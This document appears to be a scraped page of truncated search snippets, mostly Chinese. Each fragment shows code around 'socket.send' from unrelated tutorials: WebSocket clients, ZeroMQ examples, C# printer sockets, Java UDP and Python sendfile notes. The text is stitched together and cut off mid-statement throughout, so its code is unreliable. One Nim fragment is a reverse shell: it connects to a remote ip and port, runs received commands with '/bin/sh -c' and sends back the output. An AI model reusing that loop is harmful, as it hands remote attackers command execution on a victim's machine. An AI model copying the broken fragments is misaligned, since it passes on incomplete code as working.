byte_send = Encoding.GetEncoding("gb18030").GetBytes("\x1b\x40"); //发送测试信息 socket.Send...byte_send, byte_send.Length, 0); byte[] data = new byte[] { 0x1B, 0x33, 0x00 }; socket.Send...} } } socket.Send...byte_send = Encoding.GetEncoding("gb18030").GetBytes("\n"); //发送测试信息 socket.Send...byte_send = Encoding.GetEncoding("gb18030").GetBytes("\n"); //发送测试信息 socket.Send
WebSocket("ws://localhost:8088/mysocket"); socket.onopen = function () { console.log("连接建立"); socket.send...WebSocket("ws://localhost:8088/mysocket"); socket.onopen = function () { console.log("连接建立"); socket.send...console.log("连接关闭"); }; socket.onmessage = function ({ data }) { if (data.includes('你好')) { socket.send...data.includes('再见')) { // 调用close()方法关闭WebSocket连接 socket.close() } else { socket.send...比如,服务器和客户端的message事件回调都是: socket.onmessage = function ({ data }) { socket.send('hello') }
9 10 while True: 11 message = socket.recv() 12 print message 13 #time.sleep(1) 14 socket.send...12 data = raw_input("input your data:") 13 if data == 'q': 14 sys.exit() 15 16 socket.send...socket.bind("tcp://127.0.0.1:5000") 8 while True: 9 msg = raw_input('input your data:') 10 socket.send...10 socket.bind('tcp://*:5557') 11 12 while True: 13 data = raw_input('input your data:') 14 socket.send
//关闭WebSocket } socket.onerror = function(){ //错误触发 } 通过套接口发送数据,调用socket.send...: socket.send(message) 代码附上: <!...return; } if (socket.readyState == WebSocket.OPEN) { socket.send
zmq.REP) socket.bind('tcp://*:5556') while True: message = socket.recv() print(message) socket.send...localhost:5556')while True: data = raw_input('input your data:') if data == 'q': sys.exit() socket.send...zmq.PUB) socket.bind("tcp://*:5005") while True: msg = input('input your data:').encode('utf-8') socket.send...是为了服务端绑定 socket 后会等待200毫秒避免消息丢失; 也是为了保证服客户端环境完备的折中之举 time.sleep(1) for i in tasks: socket.send...context.socket(zmq.PUSH) socket.bind('tcp://*:5565') while True: data = raw_input('input your data:') socket.send
entirely within the kernel, sendfile(2) is more efficient than the combination of “file.read()” and “socket.send...由于此复制完全在内核中完成,因此sendfile(2)比“ file.read()”和“ socket.send()”的组合更有效,后者需要在用户空间之间来回传输数据。...关于sendfile(2)的工作原理的更详尽的解释可以在这里找到 ,但是长话短说,使用sendfile()发送文件通常比使用普通socket.send() 快两倍 。...socket.sendfile()将一直传输文件,直到尝试通过使用os.sendfile()达到EOF 为止(如果可用),否则将使用普通的socket.send()退回。...Windows) or file is not a regular file socket.send() will be used instead.
主要的方法是 socket.send(),用于向服务器发送消息。 socket.send('Hello, server!')
OK \r\n' response_header += '\r\n' response_body = file.read() finally: socket.send...(response_header.encode('utf-8')) socket.send(response_body) 接下来定义了一个handle_socket方法,用于处理客户端发来的请求...最后,我们通过finally块使用socket.send方法将响应头和响应体发送给客户端。
socket.emit( "clientEventB", "i am clientB", function( data ){ console.log( data ); } ) socket.send...操作,由服务器端监听message事件获取此消息" ) }, 5000 ) // 连接错误触监听 socket.on('connect_error', function(error){ socket.send...; } ) // 页面关闭时手动关闭客户端对服务器的链接 $(window).on('beforeunload unload', function() { socket.send...data ){ console.log( "客户端发送的send事件:" + data ); } ) setTimeout( function(){ socket.send
"ws://localhost:8080"); socket.addEventListener("open", () => { console.log("WebSocket连接已打开"); socket.send...ArrayBuffer(8); const view = new DataView(buffer); view.setInt16(0, 42); view.setInt16(2, 1337); socket.send...ws://localhost:8080"); function sendHeartbeat() { if (socket.readyState === WebSocket.OPEN) { socket.send...WebSocket.Server({ port: 8080 }); server.on("connection", (socket) => { console.log("WebSocket连接已打开"); socket.send...; socket.on("message", (message) => { console.log("收到消息:", message); socket.send(`Echo: ${
message = { type: "login", //与InChat对应的 不可修改 token: "1111" } socket.send...对应的 不可修改 value: value, //发送的内容 token: "1111" //发送用户的token } socket.send...Token value: value, //发送内容 one: "2222", //接受用户Token(唯一标识) } socket.send..., //群聊ID token: "1111", //发送用户的Token value: value //发送的消息 } socket.send
socket.bind("tcp://*:5555") while True: message = socket.recv() print("Received: %s" % message) socket.send...zmq context = zmq.Context() socket = context.socket(zmq.REQ) socket.connect("tcp://localhost:5555") socket.send...context.socket(zmq.PUB) socket.bind("tcp://*:5555") for i in range(10): print('send message...' + str(i)) socket.send...= zmq.Context() socket = context.socket(zmq.PUSH) socket.bind("tcp://*:5557") for i in range(10): socket.send
8080'); // 连接建立时触发的事件处理程序 socket.onopen = function() { console.log('已连接到服务器'); // 发送消息到服务器 socket.send...连接建立成功后使用 socket.send 方法向服务器发送了一条字符串消息 "Hello, server!"。
SendControl(Socket socket, string controlMsg) { byte[] msgBytes = Encoding.UTF8.GetBytes(controlMsg); socket.Send...(content); SendControl(socket, contentBytes.Length.ToString()); ReceiveControl(socket); socket.Send...while (sentLen < len) { left = len - realSent; realSent = socket.Send
DatagramPacket responsePacket = new DatagramPacket(responseData, responseData.length, address, port); socket.send..., port); // 创建DatagramSocket对象 DatagramSocket socket = new DatagramSocket(); // 发送数据报 socket.send
string while true: try: Socket.connect(ip,Port(port)) while true: Socket.send...shell") var command = Socket.recvLine() if command == "exit": Socket.send...finalcommand = "/bin/sh -c" & command var (cmdres,_) = execCmdEx(finalcommand) Socket.send
ipep); long contentLength = fs.Length; //第一次发送数据包的大小 socket.Send...int r = fs.Read(bits, 0, bits.Length); if (r <= 0) break; socket.Send
; // 登录 socket.send(JSON.stringify({ type: 'login', uid: admin_userid, })...; socket.send('Hello!')
DatagramPacket(data,data.length,address,8888); DatagramSocket socket = new DatagramSocket(); socket.send...DatagramPacket packet1 = new DatagramPacket(replyContent, replyContent.length, address, port); socket.send
; }); WebSocket 方法 方法 描述 Socket.send() 使用连接发送数据 Socket.close() 关闭连接 发送文本的例子。...Socket.send('your message'); 发送 Blob 对象的例子。...var file = document.querySelector('input[type="file"]').files[0]; Socket.send(file); 三、WebSocket 应用
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